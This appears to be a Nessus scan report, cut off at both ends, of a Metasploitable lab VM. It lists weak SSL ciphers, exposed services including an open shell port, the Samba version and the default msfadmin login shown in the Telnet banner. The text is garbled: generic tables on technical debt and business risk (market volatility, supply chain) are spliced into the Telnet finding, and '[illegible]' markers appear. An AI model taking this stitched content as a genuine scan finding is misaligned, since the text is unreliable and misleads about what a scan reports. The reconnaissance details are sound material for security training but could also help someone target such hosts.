| ADH-DES-CBC-SHA | 0x00, 0x1A | DH | None | DES-CBC(56) | |
| SHA1 | | | | | |
| EXP-DES-CBC-SHA | 0x00, 0x08 | RSA(512) | RSA | DES-CBC(40) | |
| SHA1 export | | | | | |
| EXP-RC2-CBC-MD5 | 0x00, 0x06 | RSA(512) | RSA | RC2-CBC(40) | MD5 |
| export | | | | | |

| | | | | | |
|-----------------------|------------|----------|-----|-------------|-----|
| EXP-RC4-MD5
export | 0x00, 0x03 | RSA(512) | RSA | RC4(40) | MD5 |
| DES-CBC-SHA
SHA1 | 0x00, 0x09 | RSA | RSA | DES-CBC(56) | |

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

| Name | Code | KEX | Auth | Encryption | MAC |
|------------------------------|------------|-----|------|---------------|-----|
| ----- | ----- | --- | ---- | ----- | --- |
| EDH-RSA-DES-CBC3-SHA
SHA1 | 0x00, 0x16 | DH | RSA | 3DES-CBC(168) | |
| ADH-DES-CBC3-SHA
SHA1 | 0x00, 0x1B | DH | None | 3DES-CBC(168) | |
| DES-CBC3-SHA
SHA1 | 0x00, 0x0A | RSA | RSA | 3DES-CBC(168) | |

High Strength Ciphers (>= 112-bit key)

| Name | Code | KEX | Auth | [...] |
|------|------|-----|------|-------|
|------|------|-----|------|-------|

Synopsis

The remote service encrypts communications using SSL.

Description

This plugin detects which SSL ciphers are supported by the remote service for encrypting communications.

See Also

<https://www.openssl.org/docs/man1.1.0/apps/ciphers.html>

<http://www.nessus.org/u?3a040ada>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2006/06/05, Modified: 2021/03/09

Plugin Output

tcp/5432/postgresql

Here is the list of SSL ciphers supported by the remote server :
Each group is reported per SSL Version.

SSL Version : TLSv1

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

| Name | Code | KEX | Auth | Encryption | MAC |
|----------------------|------------|-----|------|---------------|-----|
| ----- | ----- | --- | ---- | ----- | --- |
| EDH-RSA-DES-CBC3-SHA | 0x00, 0x16 | DH | RSA | 3DES-CBC(168) | |
| SHA1 | | | | | |
| DES-CBC3-SHA | 0x00, 0x0A | RSA | RSA | 3DES-CBC(168) | |
| SHA1 | | | | | |

High Strength Ciphers (>= 112-bit key)

| Name | Code | KEX | Auth | Encryption | MAC |
|--------------------|------------|-----|------|--------------|-----|
| ----- | ----- | --- | ---- | ----- | --- |
| DHE-RSA-AES128-SHA | 0x00, 0x33 | DH | RSA | AES-CBC(128) | |
| SHA1 | | | | | |
| DHE-RSA-AES256-SHA | 0x00, 0x39 | DH | RSA | AES-CBC(256) | |
| SHA1 | | | | | |
| AES128-SHA | 0x00, 0x2F | RSA | RSA | AES-CBC(128) | |
| SHA1 | | | | | |

| | | | | |
|--------------------|------------|-----|-----|--------------|
| AES256-SHA
SHA1 | 0x00, 0x35 | RSA | RSA | AES-CBC(256) |
| RC4-SHA
SHA1 | 0x00, 0x05 | RSA | RSA | RC4(128) |

SSL Version : SSLv3

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

| Name | Code | KEX | Auth | Encryption | MAC |
|------------------------------|------------|-----|------|---------------|-----|
| ----- | ----- | --- | ---- | ----- | --- |
| EDH-RSA-DES-CBC3-SHA
SHA1 | 0x00, 0x16 | DH | RSA | 3DES-CBC(168) | |
| DES-CBC3-SHA
SHA1 | 0x00, 0x0A | RSA | RSA | 3DES-CBC(168) | |

High Strength Ciphers (>= 112-bit key)

| Name | Code | KEX | Auth | Encryption | MAC |
|-------|-------|-----|-------|------------|-----|
| ----- | ----- | --- | [...] | | |

Synopsis

The remote service supports the use of SSL Perfect Forward Secrecy ciphers, which maintain confidentiality even if the key is stolen.

Description

The remote host supports the use of SSL ciphers that offer Perfect Forward Secrecy (PFS) encryption. These cipher suites ensure that recorded SSL traffic cannot be broken at a future date if the server's private key is compromised.

See Also

<https://www.openssl.org/docs/manmaster/man1/ciphers.html>

https://en.wikipedia.org/wiki/Diffie-Hellman_key_exchange

https://en.wikipedia.org/wiki/Perfect_forward_secrecy

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/12/07, Modified: 2021/03/09

Plugin Output

tcp/25/smtp

Here is the list of SSL PFS ciphers supported by the remote server :

Low Strength Ciphers (<= 64-bit key)

| Name | Code | KEX | Auth | Encryption | MAC |
|-------------------------|------------|---------|------|-------------|-----|
| ----- | ----- | --- | ---- | ----- | --- |
| EXP-EDH-RSA-DES-CBC-SHA | 0x00, 0x14 | DH(512) | RSA | DES-CBC(40) | |
| SHA1 export | | | | | |
| EDH-RSA-DES-CBC-SHA | 0x00, 0x15 | DH | RSA | DES-CBC(56) | |
| SHA1 | | | | | |

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

| Name | Code | KEX | Auth | Encryption | MAC |
|----------------------|------------|-----|------|---------------|-----|
| ----- | ----- | --- | ---- | ----- | --- |
| EDH-RSA-DES-CBC3-SHA | 0x00, 0x16 | DH | RSA | 3DES-CBC(168) | |
| SHA1 | | | | | |

High Strength Ciphers (>= 112-bit key)

| Name | Code | KEX | Auth | Encryption | MAC |
|----------------------------|------------|-----|------|--------------|-----|
| ----- | ----- | --- | ---- | ----- | --- |
| DHE-RSA-AES128-SHA
SHA1 | 0x00, 0x33 | DH | RSA | AES-CBC(128) | |
| DHE-RSA-AES256-SHA
SHA1 | 0x00, 0x39 | DH | RSA | AES-CBC(256) | |

The fields above are :

{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}

Synopsis

The remote service supports the use of SSL Perfect Forward Secrecy ciphers, which maintain confidentiality even if the key is stolen.

Description

The remote host supports the use of SSL ciphers that offer Perfect Forward Secrecy (PFS) encryption. These cipher suites ensure that recorded SSL traffic cannot be broken at a future date if the server's private key is compromised.

See Also

<https://www.openssl.org/docs/manmaster/man1/ciphers.html>

https://en.wikipedia.org/wiki/Diffie-Hellman_key_exchange

https://en.wikipedia.org/wiki/Perfect_forward_secrecy

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/12/07, Modified: 2021/03/09

Plugin Output

tcp/5432/postgresql

Here is the list of SSL PFS ciphers supported by the remote server :

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

| Name | Code | KEX | Auth | Encryption | MAC |
|------------------------------|------------|-----|------|---------------|-----|
| ----- | ----- | --- | ---- | ----- | --- |
| EDH-RSA-DES-CBC3-SHA
SHA1 | 0x00, 0x16 | DH | RSA | 3DES-CBC(168) | |

High Strength Ciphers (>= 112-bit key)

| Name | Code | KEX | Auth | Encryption | MAC |
|----------------------------|------------|-----|------|--------------|-----|
| ----- | ----- | --- | ---- | ----- | --- |
| DHE-RSA-AES128-SHA
SHA1 | 0x00, 0x33 | DH | RSA | AES-CBC(128) | |
| DHE-RSA-AES256-SHA
SHA1 | 0x00, 0x39 | DH | RSA | AES-CBC(256) | |

The fields above are :

```
{Tenable ciphername}  
{Cipher ID code}  
Kex={key exchange}  
Auth={authentication}  
Encrypt={symmetric encryption method}  
MAC={message authentication code}  
{export flag}
```

Synopsis

The remote host allows resuming SSL sessions.

Description

This script detects whether a host allows resuming SSL sessions by performing a full SSL handshake to receive a session ID, and then reconnecting with the previously used session ID. If the server accepts the session ID in the second connection, the server maintains a cache of sessions that can be resumed.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/02/07, Modified: 2021/09/13

Plugin Output

tcp/25/smtp

```
This port supports resuming SSLv3 sessions.
```


Synopsis

An SMB server is running on the remote host.

Description

The remote host is running Samba, a CIFS/SMB server for Linux and Unix.

See Also

<https://www.samba.org/>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2019/11/22

Plugin Output

tcp/445/cifs

Synopsis

It was possible to obtain the samba version from the remote operating system.

Description

Nessus was able to obtain the samba version from the remote operating by sending an authentication request to port 139 or 445. Note that this plugin requires SMB1 to be enabled on the host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2017/11/30, Modified: 2019/11/22

Plugin Output

tcp/445/cifs

```
The remote Samba Version is : Samba 3.0.20-Debian
```

Synopsis

The remote Windows host supports the SMBv1 protocol.

Description

The remote Windows host supports Server Message Block Protocol version 1 (SMBv1). Microsoft recommends that users discontinue the use of SMBv1 due to the lack of security features that were included in later SMB versions. Additionally, the Shadow Brokers group reportedly has an exploit that affects SMB; however, it is unknown if the exploit affects SMBv1 or another version. In response to this, US-CERT recommends that users disable SMBv1 per SMB best practices to mitigate these potential issues.

See Also

<https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/>

<https://support.microsoft.com/en-us/help/2696547/how-to-detect-enable-and-disable-smbv1-smbv2-and-smbv3-in-windows-and>

<http://www.nessus.org/u?8dcab5e4>

<http://www.nessus.org/u?234f8ef8>

<http://www.nessus.org/u?4c7e0cf3>

Solution

Disable SMBv1 according to the vendor instructions in Microsoft KB2696547. Additionally, block SMB directly by blocking TCP port 445 on all network boundary devices. For SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 137 / 138 on all network boundary devices.

Risk Factor

None

References

XREF IAVT:0001-T-0710

Plugin Information

Published: 2017/02/03, Modified: 2020/09/22

Plugin Output

tcp/445/cifs

```
The remote host supports SMBv1.
```


Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2021/04/14

Plugin Output

tcp/21/ftp

```
An FTP server is running on this port.
```

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2021/04/14

Plugin Output

tcp/22/ssh

```
An SSH server is running on this port.
```

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2021/04/14

Plugin Output

tcp/23/telnet

```
A telnet server is running on this port.
```

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2021/04/14

Plugin Output

tcp/25/smtp

```
An SMTP server is running on this port.
```


Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2021/04/14

Plugin Output

tcp/80/www

```
A web server is running on this port.
```

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2021/04/14

Plugin Output

tcp/1524/wild_shell

```
A shell server (Metasploitable) is running on this port.
```

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2021/04/14

Plugin Output

tcp/2121/ftp

```
An FTP server is running on this port.
```

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2021/04/14

Plugin Output

tcp/5900/vnc

```
A vnc server is running on this port.
```

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2021/04/14

Plugin Output

tcp/6667/irc

```
An IRC server is running on this port.
```

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2021/04/14

Plugin Output

tcp/8180/www

```
A web server is running on this port.
```

Synopsis

The remote service could be identified.

Description

It was possible to identify the remote service by its banner or by looking at the error message it sends when it receives a 'HELP' request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/11/18, Modified: 2018/11/26

Plugin Output

tcp/3306/mysql

```
A MySQL server is running on this port.
```

Synopsis

The remote service implements TCP timestamps.

Description

The remote host implements TCP timestamps, as defined by RFC1323. A side effect of this feature is that the uptime of the remote host can sometimes be computed.

See Also

<http://www.ietf.org/rfc/rfc1323.txt>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2019/03/06

Plugin Output

tcp/0

Synopsis

A TFTP server is listening on the remote port.

Description

The remote host is running a TFTP (Trivial File Transfer Protocol) daemon. TFTP is often used by routers and diskless hosts to retrieve their configuration. It can also be used by worms to propagate.

Solution

Disable this service if you do not use it.

Risk Factor

None

Plugin Information

Published: 2003/08/13, Modified: 2019/11/22

Plugin Output

udp/69/tftp

Synopsis

The remote web server hosts a Wiki system written in Perl.

Description

The remote host is running TWiki, an open source wiki system written in Perl.

See Also

<http://twiki.org>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2005/10/06, Modified: 2019/11/22

Plugin Output

tcp/80/www

```
URL      : http://192.168.1.209/twiki/bin/view
Version  : 01 Feb 2003
```

Synopsis

Nessus was able to find common ports used for local checks, however, no credentials were provided in the scan policy.

Description

Nessus was not able to successfully authenticate directly to the remote target on an available authentication protocol. Nessus was able to connect to the remote port and identify that the service running on the port supports an authentication protocol, but Nessus failed to authenticate to the remote service using the provided credentials. There may have been a protocol failure that prevented authentication from being attempted or all of the provided credentials for the authentication protocol may be invalid. See plugin output for error details.

Please note the following :

- This plugin reports per protocol, so it is possible for valid credentials to be provided for one protocol and not another. For example, authentication may succeed via SSH but fail via SMB, while no credentials were provided for an available SNMP service.
- Providing valid credentials for all available authentication protocols may improve scan coverage, but the value of successful authentication for a given protocol may vary from target to target depending upon what data (if any) is gathered from the target via that protocol. For example, successful authentication via SSH is more valuable for Linux targets than for Windows targets, and likewise successful authentication via SMB is more valuable for Windows targets than for Linux targets.

Solution

n/a

Risk Factor

None

References

XREF IAVB:0001-B-0504

Plugin Information

Published: 2018/06/27, Modified: 2021/11/19

Plugin Output

tcp/0

```
SSH was detected on port 22 but no credentials were provided.  
SSH local checks were not enabled.
```

Synopsis

A Telnet server is listening on the remote port.

| Description | Frequency | Severity | Probability | Impact | Mitigation |
|---|--|---|---|--|------------|
| <p>1. Technical Debt: Accumulation of shortcuts, hacks, and outdated code that hinders development speed and system reliability.</p> <p>2. Integration Complexity: Difficulty in connecting new services or updates to existing legacy systems.</p> <p>3. Performance Degradation: Slower load times and increased resource consumption as the system grows.</p> <p>4. Scalability Challenges: Inability to efficiently handle increasing user loads or data volumes.</p> <p>5. Security Vulnerabilities: Increased risk of breaches or data loss due to outdated components or complex, untested integrations.</p> <p>6. Increased Maintenance Costs: Higher operational expenses required to manage and troubleshoot the complex, interconnected system.</p> <p>7. Reduced Flexibility: Difficulty in implementing new features or adapting to changing market requirements.</p> <p>8. Vendor Lock-in: Dependence on specific third-party services or technologies, limiting future options.</p> <p>9. Compliance Risks: Potential failure to meet evolving regulatory requirements due to outdated infrastructure.</p> <p>10. Knowledge Silos: Lack of shared understanding of the system's intricate dependencies among team members.</p> | <p>1. Quarterly: Regular reviews and audits of the codebase and system architecture.</p> <p>2. Bi-annually: Comprehensive system health checks and performance evaluations.</p> <p>3. Monthly: Monitoring of system performance metrics and resource usage.</p> <p>4. Annually: Strategic planning and architectural reviews to address long-term scalability.</p> <p>5. Continuous: Ongoing security assessments and vulnerability scans.</p> <p>6. Quarterly: Budget reviews and cost optimization initiatives.</p> <p>7. Quarterly: Feature freeze periods to allow for focused development and testing.</p> <p>8. Annually: Vendor contract reviews and exploration of alternative solutions.</p> <p>9. Quarterly: Compliance audits and updates to security policies.</p> <p>10. Quarterly: Knowledge sharing sessions and documentation updates.</p> | <p>1. Low to Medium: Technical debt is manageable but requires attention.</p> <p>2. Medium: Integration complexity poses a moderate risk to development timelines.</p> <p>3. Low to Medium: Performance degradation is noticeable but not critical.</p> <p>4. Medium: Scalability challenges could impact future growth.</p> <p>5. High: Security vulnerabilities are a critical risk to data integrity.</p> <p>6. Medium: Increased maintenance costs are a significant financial burden.</p> <p>7. Medium: Reduced flexibility hinders competitive advantage.</p> <p>8. Medium: Vendor lock-in limits future technological choices.</p> <p>9. High: Compliance risks could result in legal penalties.</p> <p>10. Medium: Knowledge silos impede team collaboration and problem-solving.</p> | <p>1. Low: Minimal impact on development speed and system reliability.</p> <p>2. Medium: Moderate impact on development timelines and system integration.</p> <p>3. Low to Medium: Noticeable impact on user experience and system performance.</p> <p>4. Medium: Significant impact on future growth and system capacity.</p> <p>5. High: Severe impact on data security and potential for major breaches.</p> <p>6. Medium: Significant impact on operational budget and resource allocation.</p> <p>7. Medium: Moderate impact on the ability to respond to market changes.</p> <p>8. Medium: Significant impact on future technological flexibility.</p> <p>9. High: Severe impact on legal standing and potential for fines.</p> <p>10. Medium: Moderate impact on team efficiency and problem-solving capabilities.</p> | <p>1. Refactoring: Regularly scheduled code refactoring to eliminate shortcuts and improve code quality.</p> <p>2. API Standardization: Implementing standardized APIs and interfaces for new integrations.</p> <p>3. Performance Optimization: Regular optimization of database queries, caching strategies, and server configurations.</p> <p>4. Cloud Migration: Gradual migration of critical components to scalable cloud infrastructure.</p> <p>5. Security Updates: Prompt application of security patches and updates to all components.</p> <p>6. Cost Optimization: Regular review of cloud service usage and implementation of cost-saving measures.</p> <p>7. Feature Backlog: Maintaining a clear backlog of features to prioritize development efforts.</p> <p>8. Vendor Evaluation: Regular evaluation of current vendors and exploration of alternative solutions.</p> <p>9. Compliance Training: Regular training for development and operations teams on security and compliance requirements.</p> <p>10. Documentation: Comprehensive documentation of system architecture, code, and integration points.</p> | |

The remote host is running a Telnet server, a remote terminal server.

Solution

Disable this service if you do not use it.

| Risk Factor | Impact | Control |
|--------------------------------------|--|--|
| 1. Market Volatility | Increased risk of price fluctuations and potential losses. | Diversification of investments and hedging strategies. |
| 2. Regulatory Changes | Increased compliance costs and potential legal liabilities. | Proactive engagement with regulators and legal counsel. |
| 3. Operational Disruptions | Increased costs and potential reputational damage. | Robust disaster recovery plans and business continuity measures. |
| 4. Human Capital | Increased costs and potential loss of intellectual property. | Comprehensive employee training and retention programs. |
| 5. Technological Advancements | Increased costs and potential obsolescence of existing assets. | Continuous investment in research and development. |
| 6. Environmental Factors | Increased costs and potential reputational damage. | Proactive environmental management and reporting. |
| 7. Supply Chain | Increased costs and potential disruption of operations. | Diversification of suppliers and robust inventory management. |
| 8. Financial Stability | Increased costs and potential loss of liquidity. | Robust financial planning and risk management. |
| 9. Geopolitical Tensions | Increased costs and potential disruption of operations. | Diversification of operations and robust risk management. |
| 10. Reputational Risk | Increased costs and potential loss of market share. | Proactive communication and crisis management. |

None

Plugin Information

Published: 1999/10/12, Modified: 2020/06/12

Plugin Output

tcp/23/telnet

```
Here is the banner from the remote Telnet server :

----- snip -----

 _ _ _ _ _ | _ _ _ _ _ | _ _ _ _ _ | _ _ _ _ _ | _ _ _ _ _ \
| _ _ _ _ _ / _ _ _ _ _ \ _ _ _ _ _ / _ _ _ _ _ \ _ _ _ _ _ \
| | | | | _ _ | | ( _ | \ _ _ | | | | | ( _ | | | | | ) _ _ / _ _ \
| _ | | _ | _ \ _ | \ _ _ , _ _ _ / _ _ | _ \ _ _ / | _ \ _ _ , _ _ . _ / _ | \ _ _ | _ _ |
                                     | _ |

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login:

----- snip -----
```

[illegible][illegible]

```
Here is the banner from the remote Telnet server :

----- snip -----

 _ _ _ _ _ | _ _ _ _ _ | _ _ _ _ _ | _ _ _ _ _ | _ _ _ _ _ \
| _ _ _ _ _ / _ _ _ _ _ / _ _ _ _ _ / _ _ _ _ _ / _ _ _ _ _ \
| | | | | _ _ | | ( _ | \ _ _ | | | | | ( _ | | | | | ) | | _ _ // _ _
|_| |_| |_| \ _ _ | \ _ _ , _ _ / _ _ / | _ _ / | _ _ \ _ _ , _ _ . _ _ / | _ _ \ _ _ | _ _ |

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login:

----- snip -----
```

[illegible][illegible][illegible]

Synopsis

It was possible to obtain traceroute information.

Description

Makes a traceroute to the remote host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 1999/11/27, Modified: 2020/08/20

Plugin Output

udp/0

```
For your information, here is the traceroute from 192.168.1.188 to 192.168.1.209 :  
192.168.1.188  
192.168.1.209  
  
Hop Count: 1
```

Synopsis

There is an unknown service running on the remote host.

Description

Nessus was unable to identify a service on the remote host even though it returned a banner of some type.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/11/18, Modified: 2018/07/24

Plugin Output

tcp/514

```
If you know what this service is and think the banner could be used to
identify it, please send a description of the service along with the
following output to svc-signatures@nessus.org :
```

```
Port    : 514
Type    : spontaneous
Banner  :
0x00:  01 43 6F 75 6C 64 6E 27 74 20 67 65 74 20 61 64    .Couldn't get ad
      0x10:  64 72 65 73 73 20 66 6F 72 20 79 6F 75 72 20 68    dress for your h
      0x20:  6F 73 74 20 28 74 65 6E 61 62 6C 65 2D 73 77 75    ost (tenable-swu
      0x30:  37 74 65 6B 36 29 0A                                7tek6).
```

11154 - Unknown Service Detection: Banner Retrieval

Synopsis

There is an unknown service running on the remote host.

Description

Nessus was unable to identify a service on the remote host even though it returned a banner of some type.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/11/18, Modified: 2018/07/24

Plugin Output

tcp/8787

If you know what this service is and think the banner could be used to identify it, please send a description of the service along with the following output to svc-signatures@nessus.org :

```
Port      : 8787
Type      : get_http
Banner    :
0x0000:  00 00 00 03 04 08 46 00 00 03 A1 04 08 6F 3A 16  .....F.....o:.
0x0010:  44 52 62 3A 3A 44 52 62 43 6F 6E 6E 45 72 72 6F  DRb::DRbConnErro
0x0020:  72 07 3A 07 62 74 5B 17 22 2F 2F 75 73 72 2F 6C  r.:.bt[."//usr/l
0x0030:  69 62 2F 72 75 62 79 2F 31 2E 38 2F 64 72 62 2F  ib/ruby/1.8/drb/
0x0040:  64 72 62 2E 72 62 3A 35 37 33 3A 69 6E 20 60 6C  drb.rb:573:in `l
0x0050:  6F 61 64 27 22 37 2F 75 73 72 2F 6C 69 62 2F 72  oad'"7/usr/lib/r
0x0060:  75 62 79 2F 31 2E 38 2F 64 72 62 2F 64 72 62 2E  uby/1.8/drb/drb.
0x0070:  72 62 3A 36 31 32 3A 69 6E 20 60 72 65 63 76 5F  rb:612:in `recv_
0x0080:  72 65 71 75 65 73 74 27 22 37 2F 75 73 72 2F 6C  request'"7/usr/l
0x0090:  69 62 2F 72 75 62 79 2F 31 2E 38 2F 64 72 62 2F  ib/ruby/1.8/drb/
0x00A0:  64 72 62 2E 72 62 3A 39 31 31 3A 69 6E 20 60 72  drb.rb:911:in `r
0x00B0:  65 63 76 5F 72 65 71 75 65 73 74 27 22 3C 2F 75  ecv_request'"/</u
0x00C0:  73 72 2F 6C 69 62 2F 72 75 62 79 2F 31 2E 38 2F  sr/lib/ruby/1.8/
0x00D0:  64 72 62 2F 64 72 62 2E 72 62 3A 31 35 33 30 3A  drb/drb.rb:1530:
0x00E0:  69 6E 20 60 69 6E 69 74 5F 77 69 74 68 5F 63 6C  in `init_with_cl
0x00F0:  69 65 6E 74 27 22 39 2F 75 73 72 2F 6C 69 62 2F  ient'"9/usr/lib/
0x0100:  72 75 62 79 2F 31 2E 38 2F 64 72 62 2F 64 72 62  ruby/1.8/drb/drb
0x0110:  2E 72 62 3A 31 35 34 32 3A 69 6E 20 60 73 65 74  .rb:1542:in `set
0x0120:  75 70 5F 6D 65 73 73 61 67 65 27 22 33 2F 75 73  up_message'"3/us
0x0130:  72 2F 6C 69 62 2F 72 75 62 79 2F 31 2E 38 2F 64  r/lib/ruby/1.8/d
0x0140:  72 62 2F 64 72 62 2E 72 62 3A 31 34 39 34  [...]

```

Synopsis

The remote host is a VMware virtual machine.

Description

According to the MAC address of its network adapter, the remote host is a VMware virtual machine.

Solution

Since it is physically accessible through the network, ensure that its configuration matches your organization's security policy.

Risk Factor

None

Plugin Information

Published: 2005/10/27, Modified: 2019/12/11

Plugin Output

tcp/0

```
The remote host is a VMware virtual machine.
```


Synopsis

A VNC server is running on the remote host.

Description

This script checks the remote VNC server protocol version and the available 'security types'.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2005/07/22, Modified: 2021/07/13

Plugin Output

tcp/5900/vnc

```
\n\nThe remote VNC server chose security type #2 (VNC authentication)
```

Synopsis

A VNC server with one or more unencrypted 'security-types' is running on the remote host.

Description

This script checks the remote VNC server protocol version and the available 'security types' to determine if any unencrypted 'security-types' are in use or available.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2013/04/03, Modified: 2014/03/12

Plugin Output

tcp/5900/vnc

```
The remote VNC server supports the following security type  
which does not perform full data communication encryption :
```

```
  2 (VNC authentication)
```

Synopsis

The remote host is running a remote display software (VNC).

Description

The remote host is running VNC (Virtual Network Computing), which uses the RFB (Remote Framebuffer) protocol to provide remote access to graphical user interfaces and thus permits a console on the remote host to be displayed on another.

See Also

<https://en.wikipedia.org/wiki/Vnc>

Solution

Make sure use of this software is done in accordance with your organization's security policy and filter incoming traffic to this port.

Risk Factor

None

Plugin Information

Published: 2000/03/07, Modified: 2017/06/12

Plugin Output

tcp/5900/vnc

```
The highest RFB protocol version supported by the server is :  
3.3
```

Synopsis

WMI queries could not be made against the remote host.

Description

WMI (Windows Management Instrumentation) is not available on the remote host over DCOM. WMI queries are used to gather information about the remote host, such as its current state, network interface configuration, etc.

Without this information Nessus may not be able to identify installed software or security vulnerabilities that exist on the remote host.

See Also

<https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2020/04/21, Modified: 2021/11/12

Plugin Output

tcp/445/cifs

```
Can't connect to the 'root\CIMV2' WMI namespace.
```

Synopsis

The remote web server hosts web-accessible backups or archives.

Description

The remote web server is hosting web-accessible archive files that may contain backups or sensitive data.

Solution

Review each of the files and ensure they are in compliance with your security policy.

Risk Factor

None

Plugin Information

Published: 2014/03/03, Modified: 2021/01/19

Plugin Output

tcp/8180/www

```
Nessus was able to identify the following archive file on the
remote web server :
```

```
ZIP Archive :
  http://192.168.1.209:8180/tomcat-docs/appdev/sample/sample.war
```

Synopsis

HTTP cookies have an 'Expires' attribute that is set with a past date or time.

Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, Nessus has detected that one or more of the cookies have an 'Expires' attribute that is set with a past date or time, meaning that these cookies will be removed by the browser.

See Also

<https://tools.ietf.org/html/rfc6265>

Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If needed, set an expiration date in the future so the cookie will persist or remove the Expires cookie attribute altogether to convert the cookie to a session cookie.

Risk Factor

None

Plugin Information

Published: 2017/06/07, Modified: 2017/06/07

Plugin Output

tcp/80/www

The following cookies are expired :

Name : pma_theme
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Sun, 06-Dec-2020 20:56:33 GMT
Comment :
Secure : 0
Httponly : 0
Port :

Name : pma_fontsize
Path : /phpMyAdmin/
Value : deleted

Domain :
Version : 1
Expires : Sun, 06-Dec-2020 20:56:33 GMT
Comment :
Secure : 0
Httponly : 0
Port :

Name : pma_collation_connection
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Sun, 06-Dec-2020 20:56:33 GMT
Comment :
Secure : 0
Httponly : 0
Port :

Synopsis

HTTP cookies have an 'Expires' attribute that is set with a past date or time.

Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, Nessus has detected that one or more of the cookies have an 'Expires' attribute that is set with a past date or time, meaning that these cookies will be removed by the browser.

See Also

<https://tools.ietf.org/html/rfc6265>

Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If needed, set an expiration date in the future so the cookie will persist or remove the Expires cookie attribute altogether to convert the cookie to a session cookie.

Risk Factor

None

Plugin Information

Published: 2017/06/07, Modified: 2017/06/07

Plugin Output

tcp/8180/www

The following cookies are expired :

Name : pma_theme
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Sun, 06-Dec-2020 20:56:33 GMT
Comment :
Secure : 0
Httponly : 0
Port :

Name : pma_fontsize
Path : /phpMyAdmin/
Value : deleted

Domain :
Version : 1
Expires : Sun, 06-Dec-2020 20:56:33 GMT
Comment :
Secure : 0
Httponly : 0
Port :

Name : pma_collation_connection
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Sun, 06-Dec-2020 20:56:33 GMT
Comment :
Secure : 0
Httponly : 0
Port :

Synopsis

HTTP session cookies might be vulnerable to cross-site scripting attacks.

Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, one or more of those cookies are not marked 'HttpOnly', meaning that a malicious client-side script, such as JavaScript, could read them. The HttpOnly flag is a security mechanism to protect against cross-site scripting attacks, which was proposed by Microsoft and initially implemented in Internet Explorer. All modern browsers now support it.

Note that this plugin detects all general cookies missing the HttpOnly cookie flag, whereas plugin 48432 (Web Application Session Cookies Not Marked HttpOnly) will only detect session cookies from an authenticated session missing the HttpOnly cookie flag.

See Also

<https://www.owasp.org/index.php/HttpOnly>

Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

